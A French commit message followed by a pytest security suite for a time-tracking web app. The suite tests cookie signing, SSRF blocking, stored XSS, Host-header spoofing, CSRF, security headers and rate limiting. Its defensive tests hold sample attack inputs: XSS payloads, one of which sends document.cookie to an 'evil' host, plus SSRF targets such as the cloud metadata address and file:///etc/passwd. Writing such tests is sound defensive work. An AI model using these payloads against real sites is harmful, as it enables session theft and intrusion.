L'app tourne désormais pour soi sans rien configurer. Sans relais
SMTP, le lien de création de compte s'affiche directement à l'écran,
construit depuis l'URL en cours — aucune config d'URL nécessaire,
même en naviguant par IP sur le LAN (le contrôle anti-open-redirect
du Host ne concerne que le chemin par email). allowed_email_domain
vide accepte tous les emails : l'adresse ne sert que d'identifiant.
Le fichier d'exemple de config était périmé : il datait d'avant les
plages, force_secure_cookies et login_rate_limit_per_min, et
laissait croire le SMTP obligatoire. Il reflète maintenant les clés
réelles, toutes optionnelles et vides par défaut.
💘 Generated with Crush
Assisted-by: Crush:glm-5.2
677 lines
27 KiB
Python
677 lines
27 KiB
Python
"""Tests de sécurité : anti-forgery du cookie de session.
|
|
|
|
Avant le correctif, n'importe qui pouvait forger le cookie `user_id=admin` et
|
|
accéder aux données d'un autre utilisateur. La signature HMAC doit rendre toute
|
|
altération détectable.
|
|
"""
|
|
import sys
|
|
|
|
# DATA_DIR temporaire est positionné par conftest.py avant l'import de models.
|
|
import models # noqa: F401
|
|
|
|
sys.path.insert(0, ".")
|
|
import main
|
|
from fastapi.testclient import TestClient
|
|
|
|
client = TestClient(main.app)
|
|
|
|
|
|
def _seed_user(uid: str):
|
|
import bcrypt
|
|
models.save_auth(uid, email=f"{uid}@x.fr",
|
|
password_hash=bcrypt.hashpw(b"x" * 12, bcrypt.gensalt()).decode())
|
|
|
|
|
|
def _login(uid: str) -> dict:
|
|
_seed_user(uid)
|
|
r = client.post("/login/password",
|
|
data={"email": f"{uid}@x.fr", "password": "x" * 12},
|
|
follow_redirects=False)
|
|
assert r.status_code == 302, r.text
|
|
return {"user_id": r.cookies.get("user_id")}
|
|
|
|
|
|
# ── Forgery du cookie ─────────────────────────────────────────────────────────
|
|
|
|
def test_unsigned_cookie_rejected():
|
|
"""Un cookie `user_id=admin` forgé à la main doit être rejeté."""
|
|
_seed_user("alice")
|
|
r = client.get("/semaine/2026/29", cookies={"user_id": "alice"}, follow_redirects=False)
|
|
assert r.status_code == 302
|
|
assert "/login" in r.headers["location"]
|
|
|
|
|
|
def test_tampered_signature_rejected():
|
|
"""Un cookie valide dont on modifie la signature doit être rejeté."""
|
|
cookies = _login("alice")
|
|
raw = cookies["user_id"]
|
|
user_id, _, sig = raw.rpartition(".")
|
|
# Inverse un caractère de la signature
|
|
bad_sig = ("0" if sig[0] != "0" else "1") + sig[1:]
|
|
tampered = f"{user_id}.{bad_sig}"
|
|
r = client.get("/semaine/2026/29", cookies={"user_id": tampered}, follow_redirects=False)
|
|
assert r.status_code == 302
|
|
assert "/login" in r.headers["location"]
|
|
|
|
|
|
def test_valid_signed_cookie_accepted():
|
|
"""Le cookie signé délivré par /login/password doit ouvrir la session."""
|
|
cookies = _login("alice")
|
|
r = client.get("/semaine/2026/29", cookies=cookies, follow_redirects=False)
|
|
assert r.status_code == 200
|
|
|
|
|
|
def test_signed_cookie_cannot_be_replayed_for_other_user():
|
|
"""La signature d'alice ne doit pas valider pour bob (user_id modifié)."""
|
|
cookies = _login("alice")
|
|
raw = cookies["user_id"]
|
|
_, _, sig = raw.rpartition(".")
|
|
# Remplace alice par bob en conservant la signature d'alice
|
|
forged = f"bob.{sig}"
|
|
_seed_user("bob")
|
|
r = client.get("/semaine/2026/29", cookies={"user_id": forged}, follow_redirects=False)
|
|
assert r.status_code == 302
|
|
assert "/login" in r.headers["location"]
|
|
|
|
|
|
# ── Helpers de signature ──────────────────────────────────────────────────────
|
|
|
|
def test_sign_and_verify_roundtrip():
|
|
sig = main._sign_user_id("alice")
|
|
assert main._verify_signed_cookie(sig) == "alice"
|
|
|
|
|
|
def test_verify_rejects_malformed_inputs():
|
|
for bad in ("", "alice", "alice.", ".", "alice.deadbeef", "inva/lid.xxx"):
|
|
assert main._verify_signed_cookie(bad) is None
|
|
|
|
|
|
def test_secret_is_stable_across_calls():
|
|
s1 = models.load_or_create_secret()
|
|
s2 = models.load_or_create_secret()
|
|
assert s1 == s2
|
|
|
|
|
|
# ── Validation SSRF du serveur ntfy ──────────────────────────────────────────
|
|
|
|
import notifications # noqa: E402
|
|
|
|
|
|
def test_ntfy_server_validation_accepts_https():
|
|
assert notifications.is_safe_ntfy_server("https://ntfy.sh")
|
|
assert notifications.is_safe_ntfy_server("https://ntfy.example.com:8080")
|
|
|
|
|
|
def test_ntfy_server_validation_rejects_loopback():
|
|
for bad in ("http://127.0.0.1:1", "http://127.0.0.1", "http://localhost",
|
|
"https://localhost:8443", "https://[::1]"):
|
|
assert not notifications.is_safe_ntfy_server(bad), bad
|
|
|
|
|
|
def test_ntfy_server_validation_rejects_private_networks():
|
|
for bad in ("https://10.0.0.1", "https://172.16.5.5", "https://192.168.1.1",
|
|
"https://169.254.169.254", "http://10.255.255.1:8080"):
|
|
assert not notifications.is_safe_ntfy_server(bad), bad
|
|
|
|
|
|
def test_ntfy_server_validation_rejects_bad_schemes():
|
|
for bad in ("ftp://ntfy.sh", "file:///etc/passwd", "gopher://x", "javascript:alert(1)"):
|
|
assert not notifications.is_safe_ntfy_server(bad), bad
|
|
|
|
|
|
def test_ntfy_server_validation_rejects_credentials_in_url():
|
|
assert not notifications.is_safe_ntfy_server("https://user:pass@ntfy.sh")
|
|
|
|
|
|
def test_ntfy_server_validation_rejects_empty_or_none():
|
|
for bad in ("", None, " "):
|
|
assert not notifications.is_safe_ntfy_server(bad), bad
|
|
|
|
|
|
def test_send_ntfy_refuses_ssrf_target():
|
|
"""Un appel vers une IP privée ne doit jamais ouvrir de connexion réseau."""
|
|
import urllib.request as u
|
|
called = {"n": 0}
|
|
orig = u.urlopen
|
|
try:
|
|
u.urlopen = lambda *a, **kw: called.__setitem__("n", called["n"] + 1)
|
|
ok = notifications.send_ntfy(
|
|
"http://169.254.169.254", "ssrf-topic",
|
|
"msg", "titre", user_id=None, token="",
|
|
)
|
|
finally:
|
|
u.urlopen = orig
|
|
assert ok is False
|
|
assert called["n"] == 0 # urlopen n'a jamais été appelé
|
|
|
|
|
|
def test_settings_save_rejects_ssrf_ntfy_server():
|
|
"""POST /settings avec un serveur SSRF doit être rejeté."""
|
|
cookies = _login("carol")
|
|
# Préserve un topic valide
|
|
models.save_notif_config("carol", ntfy_topic="t", ntfy_server="https://ntfy.sh")
|
|
r = client.post("/settings", cookies=cookies, data={
|
|
"ntfy_topic": "topic-x",
|
|
"ntfy_server": "http://169.254.169.254",
|
|
"ntfy_token": "",
|
|
"rappel_debut_h": "8",
|
|
"rappel_fin_h": "19",
|
|
}, follow_redirects=False)
|
|
assert r.status_code == 303
|
|
assert "ssrf_error=1" in r.headers["location"]
|
|
# La valeur précédente est conservée
|
|
cfg = models.load_notif_config("carol")
|
|
assert cfg["ntfy_server"] == "https://ntfy.sh"
|
|
|
|
|
|
# ── XSS stocké via /pointage ──────────────────────────────────────────────────
|
|
|
|
XSS_PAYLOADS = [
|
|
'"><svg/onload=alert(1)>',
|
|
'"><script>alert(document.cookie)</script>',
|
|
"'/><script>fetch('//evil/'+document.cookie)</script>",
|
|
]
|
|
|
|
|
|
def test_pointage_rejects_non_hhmm_value():
|
|
"""POST /pointage avec une valeur non HHMM ne doit pas être persistée."""
|
|
cookies = _login("dave")
|
|
for payload in XSS_PAYLOADS:
|
|
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
|
|
"matin_entree": payload,
|
|
"matin_sortie": "",
|
|
"aprem_entree": "",
|
|
"aprem_sortie": "",
|
|
})
|
|
# La réponse ne doit pas planter
|
|
assert r.status_code == 200
|
|
# Le payload ne doit pas se retrouver tel quel dans la réponse
|
|
assert payload not in r.text, payload
|
|
# Vérification de la persistance
|
|
week = models.load_week_pointages(2026, 29, "dave")
|
|
entry = next((p for p in week if p["date"] == "2026-07-17"), None)
|
|
assert entry is not None
|
|
# matin_entree doit avoir été ignoré (None), pas stocké tel quel
|
|
assert entry["matin_entree"] is None
|
|
|
|
|
|
def test_pointage_valid_hhmm_still_works():
|
|
"""Un pointage HHMM valide doit continuer à fonctionner."""
|
|
cookies = _login("erin")
|
|
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
|
|
"matin_entree": "08:45",
|
|
"matin_sortie": "12:00",
|
|
"aprem_entree": "",
|
|
"aprem_sortie": "",
|
|
})
|
|
assert r.status_code == 200
|
|
assert "08:45" in r.text
|
|
week = models.load_week_pointages(2026, 29, "erin")
|
|
entry = next((p for p in week if p["date"] == "2026-07-17"), None)
|
|
assert entry["matin_entree"] == "08:45"
|
|
|
|
|
|
def test_oob_html_escapes_date_attribute():
|
|
"""Si la date (issue de l'URL) contient des caractères HTML, ils doivent être échappés."""
|
|
cookies = _login("frank")
|
|
# Forçage d'un pointage valide pour déclencher le rendu _oob_time_cells
|
|
client.post("/pointage/2026-07-17", cookies=cookies, data={
|
|
"matin_entree": "08:45", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": "",
|
|
})
|
|
# Une date malicieuse dans /refresh/... doit être échappée si elle passe strptime
|
|
# (les caractères HTML ne passent pas strptime, mais on vérifie que l'escape est actif
|
|
# sur le rendu d'un pointage normal pour la date légitime)
|
|
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
|
|
"matin_entree": "08:45", "matin_sortie": "12:00",
|
|
"aprem_entree": "14:00", "aprem_sortie": "17:30",
|
|
})
|
|
assert "<script" not in r.text.lower()
|
|
assert "onload" not in r.text.lower()
|
|
|
|
|
|
# ── Open redirect via Host header ─────────────────────────────────────────────
|
|
# Le lien set-password est envoyé par email ; son host venait de request.base_url
|
|
# lui-même issu du header Host contrôlable par le client. Un attaquant pouvait
|
|
# déclencher l'envoi d'un email légitime contenant un host arbitraire (phishing).
|
|
|
|
|
|
def _patch_send_mail_captor(monkeypatch):
|
|
"""Remplace send_mail par un capteur ; retourne le dict où les appels seront stockés."""
|
|
captured = {"calls": []}
|
|
|
|
def _fake_send_mail(to_addr, subject, body, from_addr, smtp_cfg):
|
|
captured["calls"].append({
|
|
"to": to_addr, "subject": subject, "body": body,
|
|
"from": from_addr, "smtp": smtp_cfg,
|
|
})
|
|
|
|
monkeypatch.setattr(main, "send_mail", _fake_send_mail)
|
|
# Configure aussi un SMTP fictif pour que la route ne plante pas avant l'appel
|
|
cfg = models.load_config()
|
|
cfg["smtp"] = {"host": "smtp.test", "port": 587, "user": "u", "password": "p", "use_tls": True}
|
|
models.save_config(cfg)
|
|
return captured
|
|
|
|
|
|
def test_login_rejects_untrusted_host(monkeypatch):
|
|
"""POST /login avec Host=phishing.attacker ne doit pas envoyer d'email."""
|
|
captured = _patch_send_mail_captor(monkeypatch)
|
|
# Config : allowed_email_domain=x.fr, pas de base_url, host attendu = *.x.fr ou localhost
|
|
r = client.post(
|
|
"/login",
|
|
data={"email": "nouveau.x@x.fr"},
|
|
headers={"Host": "phishing.attacker"},
|
|
follow_redirects=False,
|
|
)
|
|
# L'email n'est pas envoyé
|
|
assert captured["calls"] == []
|
|
# Un message d'erreur est renvoyé
|
|
assert "non autorisé" in r.text.lower() or "domaine" in r.text.lower()
|
|
|
|
|
|
def test_login_accepts_host_matching_allowed_email_domain(monkeypatch):
|
|
"""POST /login avec Host=app.x.fr (suffixe du domaine autorisé) doit envoyer l'email."""
|
|
captured = _patch_send_mail_captor(monkeypatch)
|
|
r = client.post(
|
|
"/login",
|
|
data={"email": "nouveau2.x@x.fr"},
|
|
headers={"Host": "app.x.fr"},
|
|
follow_redirects=False,
|
|
)
|
|
assert len(captured["calls"]) == 1
|
|
body = captured["calls"][0]["body"]
|
|
# L'URL dans l'email doit pointer vers le host attendu, pas un host arbitraire
|
|
assert "http://app.x.fr/set-password/" in body
|
|
|
|
|
|
def test_login_accepts_localhost_for_local_dev(monkeypatch):
|
|
"""localhost doit toujours être accepté (utile pour dev local et tests)."""
|
|
captured = _patch_send_mail_captor(monkeypatch)
|
|
client.post(
|
|
"/login",
|
|
data={"email": "local.x@x.fr"},
|
|
headers={"Host": "localhost:8000"},
|
|
follow_redirects=False,
|
|
)
|
|
assert len(captured["calls"]) == 1
|
|
assert "http://localhost:8000/set-password/" in captured["calls"][0]["body"]
|
|
|
|
|
|
def test_login_uses_configured_base_url_regardless_of_host(monkeypatch):
|
|
"""Si base_url est défini en config, c'est elle qui prime (anti spoofing Host)."""
|
|
captured = _patch_send_mail_captor(monkeypatch)
|
|
cfg = models.load_config()
|
|
cfg["base_url"] = "https://pointeuse.officielle.fr"
|
|
models.save_config(cfg)
|
|
|
|
r = client.post(
|
|
"/login",
|
|
data={"email": "config.x@x.fr"},
|
|
headers={"Host": "phishing.attacker"},
|
|
follow_redirects=False,
|
|
)
|
|
# L'email est envoyé avec l'URL officielle, pas le host spoofé
|
|
assert len(captured["calls"]) == 1
|
|
assert "https://pointeuse.officielle.fr/set-password/" in captured["calls"][0]["body"]
|
|
assert "phishing.attacker" not in captured["calls"][0]["body"]
|
|
# Cleanup
|
|
cfg["base_url"] = ""
|
|
models.save_config(cfg)
|
|
|
|
|
|
def test_safe_base_url_helper_unit():
|
|
"""Tests unitaires du helper _safe_base_url."""
|
|
from starlette.datastructures import Headers
|
|
|
|
class _FakeReq:
|
|
def __init__(self, host, scheme="http"):
|
|
self.headers = Headers({"host": host})
|
|
self.url = type("U", (), {"scheme": scheme})()
|
|
|
|
# Aucune config base_url, domaine autorisé x.fr
|
|
# Host valide (suffixe)
|
|
assert main._safe_base_url(_FakeReq("app.x.fr")).endswith("://app.x.fr")
|
|
# Host invalide
|
|
assert main._safe_base_url(_FakeReq("evil.attacker")) is None
|
|
# localhost OK
|
|
assert "localhost" in main._safe_base_url(_FakeReq("localhost"))
|
|
# Host sans header → None
|
|
assert main._safe_base_url(_FakeReq("")) is None
|
|
|
|
|
|
# ── Protection CSRF (Origin check) ────────────────────────────────────────────
|
|
|
|
def test_csrf_rejects_post_with_cross_site_origin():
|
|
"""Un POST avec Origin cross-site doit être rejeté."""
|
|
cookies = _login("grace")
|
|
r = client.post(
|
|
"/pointage/2026-07-17",
|
|
cookies=cookies,
|
|
data={"matin_entree": "08:00", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": ""},
|
|
headers={"Host": "testserver", "Origin": "https://evil.attacker"},
|
|
follow_redirects=False,
|
|
)
|
|
assert r.status_code == 403
|
|
assert "csrf" in r.text.lower()
|
|
|
|
|
|
def test_csrf_rejects_post_with_cross_site_referer():
|
|
"""Un POST avec Referer cross-site doit aussi être rejeté."""
|
|
cookies = _login("heidi")
|
|
r = client.post(
|
|
"/pointage/2026-07-17",
|
|
cookies=cookies,
|
|
data={"matin_entree": "08:00", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": ""},
|
|
headers={"Host": "testserver", "Referer": "https://evil.attacker/page"},
|
|
follow_redirects=False,
|
|
)
|
|
assert r.status_code == 403
|
|
|
|
|
|
def test_csrf_accepts_post_without_origin():
|
|
"""L'absence d'Origin (curl/Tasker) doit être tolérée (SameSite suffit)."""
|
|
cookies = _login("ivan")
|
|
r = client.post(
|
|
"/pointage/2026-07-17",
|
|
cookies=cookies,
|
|
data={"matin_entree": "08:00", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": ""},
|
|
follow_redirects=False,
|
|
)
|
|
assert r.status_code == 200
|
|
|
|
|
|
def test_csrf_accepts_post_with_matching_origin():
|
|
"""Un POST avec Origin == Host est accepté."""
|
|
cookies = _login("judy")
|
|
r = client.post(
|
|
"/pointage/2026-07-17",
|
|
cookies=cookies,
|
|
data={"matin_entree": "08:00", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": ""},
|
|
headers={"Host": "testserver", "Origin": "http://testserver"},
|
|
follow_redirects=False,
|
|
)
|
|
assert r.status_code == 200
|
|
|
|
|
|
def test_csrf_accepts_get_regardless_of_origin():
|
|
"""Les GET ne sont pas concernés par la vérification CSRF."""
|
|
r = client.get("/login", headers={"Origin": "https://evil.attacker"})
|
|
# 200 (page login) ou 302 (déjà loggué) mais pas 403
|
|
assert r.status_code != 403
|
|
|
|
|
|
# ── Endpoints de présence : POST uniquement (anti CSRF trivial) ──────────────
|
|
|
|
def test_presence_endpoints_require_post():
|
|
"""Les endpoints /presence/... doivent refuser les GET (CSRF trivial via <img src>)."""
|
|
notif = models.load_notif_config("alice") if (models.DATA_DIR / "users" / "alice").exists() else None
|
|
# Crée alice si nécessaire et récupère un token valide
|
|
_seed_user("alice")
|
|
token = models.load_notif_config("alice")["token"]
|
|
|
|
# GET doit échouer (405 Method Not Allowed)
|
|
r_get_arr = client.get(f"/presence/{token}/arrivee", follow_redirects=False)
|
|
r_get_dep = client.get(f"/presence/{token}/depart", follow_redirects=False)
|
|
assert r_get_arr.status_code == 405, r_get_arr.status_code
|
|
assert r_get_dep.status_code == 405
|
|
|
|
# POST doit fonctionner
|
|
r_post_arr = client.post(f"/presence/{token}/arrivee")
|
|
r_post_dep = client.post(f"/presence/{token}/depart")
|
|
assert r_post_arr.status_code == 200
|
|
assert r_post_dep.status_code == 200
|
|
assert r_post_arr.json() == {"ok": True}
|
|
|
|
|
|
# ── En-têtes de sécurité + cookie Secure ──────────────────────────────────────
|
|
|
|
def test_security_headers_present_on_every_response():
|
|
"""Les en-têtes X-Content-Type-Options, X-Frame-Options, CSP et Referrer-Policy
|
|
doivent être positionnés sur toutes les réponses."""
|
|
r = client.get("/login")
|
|
assert r.headers.get("X-Content-Type-Options") == "nosniff"
|
|
assert r.headers.get("X-Frame-Options") == "DENY"
|
|
assert r.headers.get("Referrer-Policy") == "same-origin"
|
|
csp = r.headers.get("Content-Security-Policy", "")
|
|
assert "default-src 'self'" in csp
|
|
assert "frame-ancestors 'none'" in csp
|
|
assert "base-uri 'self'" in csp
|
|
|
|
|
|
def test_hsts_header_only_on_https():
|
|
"""HSTS ne doit être positionné qu'en HTTPS."""
|
|
# En HTTP (TestClient par défaut), pas de HSTS
|
|
r = client.get("/login")
|
|
assert "Strict-Transport-Security" not in r.headers
|
|
|
|
# En HTTPS, HSTS doit être présent
|
|
https_client = TestClient(main.app, base_url="https://testserver")
|
|
r2 = https_client.get("/login")
|
|
assert r2.headers.get("Strict-Transport-Security", "").startswith("max-age=31536000")
|
|
|
|
|
|
def test_cookie_has_secure_flag_over_https():
|
|
"""Sur une requête HTTPS, le cookie de session doit porter le drapeau Secure."""
|
|
https_client = TestClient(main.app, base_url="https://testserver")
|
|
_seed_user("kate")
|
|
r = https_client.post(
|
|
"/login/password",
|
|
data={"email": "kate@x.fr", "password": "x" * 12},
|
|
follow_redirects=False,
|
|
)
|
|
assert r.status_code == 302
|
|
cookie = r.headers.get("set-cookie", "")
|
|
assert "Secure" in cookie, cookie
|
|
assert "HttpOnly" in cookie
|
|
assert "SameSite=lax" in cookie
|
|
|
|
|
|
def test_cookie_omits_secure_flag_over_http():
|
|
"""En HTTP (dev local), le cookie ne doit pas avoir Secure (sinon il ne serait pas posé)."""
|
|
_seed_user("liam")
|
|
r = client.post(
|
|
"/login/password",
|
|
data={"email": "liam@x.fr", "password": "x" * 12},
|
|
follow_redirects=False,
|
|
)
|
|
assert r.status_code == 302
|
|
cookie = r.headers.get("set-cookie", "")
|
|
assert "HttpOnly" in cookie
|
|
assert "SameSite=lax" in cookie
|
|
# En HTTP, pas de Secure (sinon le navigateur refuserait le cookie)
|
|
assert "Secure" not in cookie
|
|
|
|
|
|
def test_force_secure_cookies_config_overrides_scheme():
|
|
"""config.force_secure_cookies doit forcer Secure même en HTTP."""
|
|
cfg = models.load_config()
|
|
cfg["force_secure_cookies"] = True
|
|
models.save_config(cfg)
|
|
try:
|
|
_seed_user("mona")
|
|
r = client.post(
|
|
"/login/password",
|
|
data={"email": "mona@x.fr", "password": "x" * 12},
|
|
follow_redirects=False,
|
|
)
|
|
assert "Secure" in r.headers.get("set-cookie", "")
|
|
finally:
|
|
cfg["force_secure_cookies"] = False
|
|
models.save_config(cfg)
|
|
|
|
|
|
# ── Rate-limiting /login et /login/password ───────────────────────────────────
|
|
# Empêche le brute-force du mot de passe et le mail-bombing SMTP.
|
|
|
|
def test_login_password_rate_limit_kicks_in():
|
|
"""Au-delà de la limite, /login/password doit refuser."""
|
|
main._LOGIN_ATTEMPTS.clear()
|
|
_seed_user("nina")
|
|
cfg = models.load_config()
|
|
cfg["login_rate_limit_per_min"] = 3
|
|
models.save_config(cfg)
|
|
try:
|
|
# 3 tentatives (toutes incorrectes) → autorisées
|
|
for _ in range(3):
|
|
r = client.post(
|
|
"/login/password",
|
|
data={"email": "nina@x.fr", "password": "bad"},
|
|
follow_redirects=False,
|
|
)
|
|
assert r.status_code == 200
|
|
assert "incorrect" in r.text.lower() or "Mot de passe" in r.text
|
|
# 4e tentative → bloquée
|
|
r4 = client.post(
|
|
"/login/password",
|
|
data={"email": "nina@x.fr", "password": "bad"},
|
|
follow_redirects=False,
|
|
)
|
|
assert r4.status_code == 200
|
|
assert "Trop de tentatives" in r4.text
|
|
finally:
|
|
cfg["login_rate_limit_per_min"] = main.DEFAULT_LOGIN_MAX_PER_MIN
|
|
models.save_config(cfg)
|
|
main._LOGIN_ATTEMPTS.clear()
|
|
|
|
|
|
def test_login_post_rate_limit_kicks_in():
|
|
"""Au-delà de la limite, POST /login doit refuser (mail-bombing)."""
|
|
main._LOGIN_ATTEMPTS.clear()
|
|
cfg = models.load_config()
|
|
cfg["login_rate_limit_per_min"] = 2
|
|
# Config SMTP valide pour que la route ne plante pas avant send_mail
|
|
cfg["smtp"] = {"host": "smtp.test", "port": 587, "user": "u", "password": "p", "use_tls": True}
|
|
models.save_config(cfg)
|
|
try:
|
|
# 2 POST /login OK (le mail peut échouer, mais le rate limit passe)
|
|
for i in range(2):
|
|
r = client.post("/login", data={"email": f"victim{i}.x@x.fr"})
|
|
assert "Trop de tentatives" not in r.text
|
|
# 3e POST → bloqué
|
|
r3 = client.post("/login", data={"email": "victim3.x@x.fr"})
|
|
assert "Trop de tentatives" in r3.text
|
|
finally:
|
|
cfg["login_rate_limit_per_min"] = main.DEFAULT_LOGIN_MAX_PER_MIN
|
|
models.save_config(cfg)
|
|
main._LOGIN_ATTEMPTS.clear()
|
|
|
|
|
|
def test_rate_limit_independent_per_email():
|
|
"""Le rate limit /login/password est par (ip, email) : deux emails distincts
|
|
ne se partagent pas leur quota."""
|
|
main._LOGIN_ATTEMPTS.clear()
|
|
cfg = models.load_config()
|
|
cfg["login_rate_limit_per_min"] = 2
|
|
models.save_config(cfg)
|
|
try:
|
|
_seed_user("oscar")
|
|
# 2 tentatives sur "oscar" → OK
|
|
for _ in range(2):
|
|
client.post("/login/password", data={"email": "oscar@x.fr", "password": "x"}, follow_redirects=False)
|
|
# La 3e sur "oscar" doit échouer
|
|
r_o = client.post("/login/password", data={"email": "oscar@x.fr", "password": "x"}, follow_redirects=False)
|
|
assert "Trop de tentatives" in r_o.text
|
|
# Une autre adresse email doit encore fonctionner
|
|
_seed_user("paul")
|
|
r_p = client.post("/login/password", data={"email": "paul@x.fr", "password": "x"}, follow_redirects=False)
|
|
assert "Trop de tentatives" not in r_p.text
|
|
finally:
|
|
cfg["login_rate_limit_per_min"] = main.DEFAULT_LOGIN_MAX_PER_MIN
|
|
models.save_config(cfg)
|
|
main._LOGIN_ATTEMPTS.clear()
|
|
|
|
|
|
def test_rate_limit_can_be_disabled_via_config():
|
|
"""config.login_rate_limit_per_min = 0 doit désactiver le rate limit."""
|
|
main._LOGIN_ATTEMPTS.clear()
|
|
cfg = models.load_config()
|
|
cfg["login_rate_limit_per_min"] = 0
|
|
models.save_config(cfg)
|
|
try:
|
|
_seed_user("quinn")
|
|
# Beaucoup de tentatives : aucune ne doit être bloquée
|
|
for _ in range(50):
|
|
r = client.post("/login/password", data={"email": "quinn@x.fr", "password": "x"}, follow_redirects=False)
|
|
assert "Trop de tentatives" not in r.text, r.text
|
|
finally:
|
|
cfg["login_rate_limit_per_min"] = main.DEFAULT_LOGIN_MAX_PER_MIN
|
|
models.save_config(cfg)
|
|
main._LOGIN_ATTEMPTS.clear()
|
|
|
|
|
|
# ── Config mail optionnelle : usage local sans relais SMTP ────────────────────
|
|
|
|
def test_sans_smtp_le_lien_de_compte_s_affiche_a_l_ecran(monkeypatch):
|
|
"""Sans smtp.host, la création de compte doit fonctionner sans email : le
|
|
lien de définition de mot de passe s'affiche directement dans la page
|
|
(construit depuis l'URL en cours, pas de vecteur de phishing email)."""
|
|
cfg = models.load_config()
|
|
ancien_smtp = cfg.get("smtp")
|
|
ancien_domaine = cfg.get("allowed_email_domain")
|
|
cfg["smtp"] = {}
|
|
cfg["allowed_email_domain"] = ""
|
|
models.save_config(cfg)
|
|
try:
|
|
r = client.post("/login", data={"email": "solo.perso@nimporte.fr"},
|
|
headers={"Host": "localhost:8000"}, follow_redirects=False)
|
|
assert r.status_code == 200
|
|
assert "/set-password/" in r.text # le lien est affiché
|
|
assert "SMTP" in r.text # avec l'explication
|
|
# Le lien affiché fonctionne : définir le mot de passe puis se connecter
|
|
import re as _re
|
|
token = _re.search(r"/set-password/([A-Za-z0-9_\-]+)", r.text).group(1)
|
|
r = client.post(f"/set-password/{token}",
|
|
data={"password": "s" * 12, "password2": "s" * 12},
|
|
follow_redirects=False)
|
|
assert r.status_code == 302
|
|
r = client.post("/login/password",
|
|
data={"email": "solo.perso@nimporte.fr", "password": "s" * 12},
|
|
follow_redirects=False)
|
|
assert r.status_code == 302 # connexion réussie
|
|
finally:
|
|
cfg["smtp"] = ancien_smtp
|
|
cfg["allowed_email_domain"] = ancien_domaine or "x.fr"
|
|
models.save_config(cfg)
|
|
|
|
|
|
def test_domaine_vide_accepte_tous_les_domaines(monkeypatch):
|
|
"""allowed_email_domain vide (défaut, instance locale) : tout domaine accepté
|
|
à la connexion par mot de passe. Renseigné, il reste strictement appliqué."""
|
|
cfg = models.load_config()
|
|
ancien = cfg.get("allowed_email_domain")
|
|
cfg["allowed_email_domain"] = ""
|
|
models.save_config(cfg)
|
|
try:
|
|
_seed_user("libre.nimportequi")
|
|
r = client.post("/login/password",
|
|
data={"email": "libre.nimportequi@ailleurs.org", "password": "x" * 12},
|
|
follow_redirects=False)
|
|
assert r.status_code == 302 # accepté malgré @ailleurs.org
|
|
# Un email sans domaine valide reste refusé
|
|
r = client.post("/login", data={"email": "pas-un-email"}, follow_redirects=False)
|
|
assert "invalide" in r.text.lower()
|
|
finally:
|
|
cfg["allowed_email_domain"] = ancien or "x.fr"
|
|
models.save_config(cfg)
|
|
|
|
def test_sans_smtp_le_lien_utilise_l_url_courante_sans_base_url():
|
|
"""Sans SMTP, aucune config d'URL n'est nécessaire : le lien affiché est
|
|
construit depuis l'URL en cours (ex. http://192.168.1.10:8000 sur le LAN),
|
|
même avec base_url vide et allowed_email_domain vide. Le contrôle Host
|
|
strict (_safe_base_url) ne concerne que le chemin par email."""
|
|
cfg = models.load_config()
|
|
ancien_smtp = cfg.get("smtp")
|
|
ancien_domaine = cfg.get("allowed_email_domain")
|
|
ancienne_base = cfg.get("base_url")
|
|
cfg.update({"smtp": {}, "allowed_email_domain": "", "base_url": ""})
|
|
models.save_config(cfg)
|
|
try:
|
|
r = client.post("/login", data={"email": "lan.user@chez.moi"},
|
|
headers={"Host": "192.168.1.10:8000"}, follow_redirects=False)
|
|
assert r.status_code == 200
|
|
assert "http://192.168.1.10:8000/set-password/" in r.text
|
|
finally:
|
|
cfg.update({"smtp": ancien_smtp, "allowed_email_domain": ancien_domaine or "x.fr",
|
|
"base_url": ancienne_base or ""})
|
|
models.save_config(cfg)
|